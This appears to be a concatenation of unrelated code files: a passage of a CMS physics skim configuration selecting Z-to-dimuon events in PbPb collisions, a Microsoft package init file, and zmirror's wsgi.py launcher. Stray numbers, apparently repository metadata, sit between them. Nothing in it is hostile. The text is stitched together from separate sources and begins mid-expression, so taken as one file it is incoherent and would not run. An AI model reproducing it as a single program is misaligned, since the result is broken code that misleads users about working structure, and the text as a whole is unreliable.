isoDeposits = cms.PSet( tracker = cms.InputTag("tkIsoDepositTkForPbPbZMuSkim"), ), ) ###create the "probe collection" of isolated tracks looseIsoMuonsForPbPbZMuSkim = cms.EDFilter("PATGenericParticleSelector", src = cms.InputTag("allPatTracksForPbPbZMuSkim"), cut = cms.string("(userIsolation('pat::TrackIso')/pt)<0.4"), filter = cms.bool(True) ) ###create the "tag collection" of muon candidate, no dB cut applied tightMuonsForPbPbZMuSkim = cms.EDFilter("MuonSelector", src = cms.InputTag("muons"), cut = cms.string("(isGlobalMuon) && pt > 25. && (abs(eta)<2.4) && (isPFMuon>0) && (globalTrack().normalizedChi2() < 10) && (globalTrack().hitPattern().numberOfValidMuonHits()>0)&& (numberOfMatchedStations() > 1)&& (innerTrack().hitPattern().numberOfValidPixelHits() > 0)&& (innerTrack().hitPattern().trackerLayersWithMeasurement() > 5) && ((isolationR03().sumPt/pt)<0.1)"), filter = cms.bool(True) ) # build Z-> MuMu candidates dimuonsForPbPbZMuSkim = cms.EDProducer("CandViewShallowCloneCombiner", checkCharge = cms.bool(False), cut = cms.string('(mass > 60) && (charge=0)'), decay = cms.string("tightMuonsForPbPbZMuSkim looseIsoMuonsForPbPbZMuSkim") ) # Z filter dimuonsFilterForPbPbZMuSkim = cms.EDFilter("CandViewCountFilter", src = cms.InputTag("dimuonsForPbPbZMuSkim"), minNumber = cms.uint32(1) ) diMuonSelSeqForPbPbZMuSkim = cms.Sequence( PbPbZMuHLTFilter * looseMuonsForPbPbZMuSkim * ConcretelooseMuonsForPbPbZMuSkim * tkIsoDepositTkForPbPbZMuSkim * allPatTracksForPbPbZMuSkim * looseIsoMuonsForPbPbZMuSkim * tightMuonsForPbPbZMuSkim * dimuonsForPbPbZMuSkim * dimuonsFilterForPbPbZMuSkim )
2,741
388
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- from .inspection_middleware import InspectionMiddleware from .inspection_state import InspectionState __all__ = ["InspectionMiddleware", "InspectionState"]
90
2,550
<filename>wsgi.py #!/usr/bin/env python3 # coding=utf-8 import sys import os sys.path.insert(0, os.path.dirname(__file__)) if os.path.dirname(__file__) != '': os.chdir(os.path.dirname(__file__)) from zmirror.zmirror import app as application __author__ = 'Aploium <<EMAIL>>' def main(): from zmirror.zmirror import my_host_port, built_in_server_host, \ built_in_server_debug, built_in_server_extra_params, warnprint, \ errprint warnprint("You may directly running zmirror, which is NOT recommend for PRODUCTION environment.\n" "Please deploy it using Apache,You can find a deploy tutorial here:\n" "https://github.com/aploium/zmirror/wiki/%E9%83%A8%E7%BD%B2%E6%94%AF%E6%8C%81HTTPS%E5%92%8CHTTP2.0%E7%9A%84%E9%95%9C%E5%83%8F") if my_host_port is None: my_host_port = 80 try: application.run( port=my_host_port, # 如果配置文件中开启了多进程, 那么就关掉多线程, 否则默认启用多线程 threaded="processes" not in built_in_server_extra_params, # 如果你想直接用本程序给外网访问, 请在 config.py 末尾加两行配置 # !!警告!! 无论如何都不要修改 config_default.py, 否则程序将无法通过 git pull 来升级 # # built_in_server_host='0.0.0.0' # built_in_server_debug=False # # ps:字母在行首, 行首不要有空格 # !!警告!! 无论如何都不要修改本文件, 否则程序将无法通过 git pull 来升级 debug=built_in_server_debug, # 默认是开启debug模式的 # 默认只允许本机访问, 如果你希望让外网访问, 请根据上面的注释修改配置文件 host=built_in_server_host, **built_in_server_extra_params # extra params ) except OSError as e: if e.errno in (98, 10013): # Address already in use, 98 for linux, 10013 for win errprint("Port {port} was occupied by other program, please close it.\n" "You can see which process is using your port by the following command:\n" " Linux: netstat -apn |grep \":{port}\"\n" " Windows: netstat -ano |find \":{port}\"\n\n" "Or change zmirror\'s port: change(add, if not exist) the `my_host_port` setting in `config.py`\n" "eg: my_host_port=81".format(port=my_host_port)) exit() else: raise if __name__ == '__main__': main()
1,433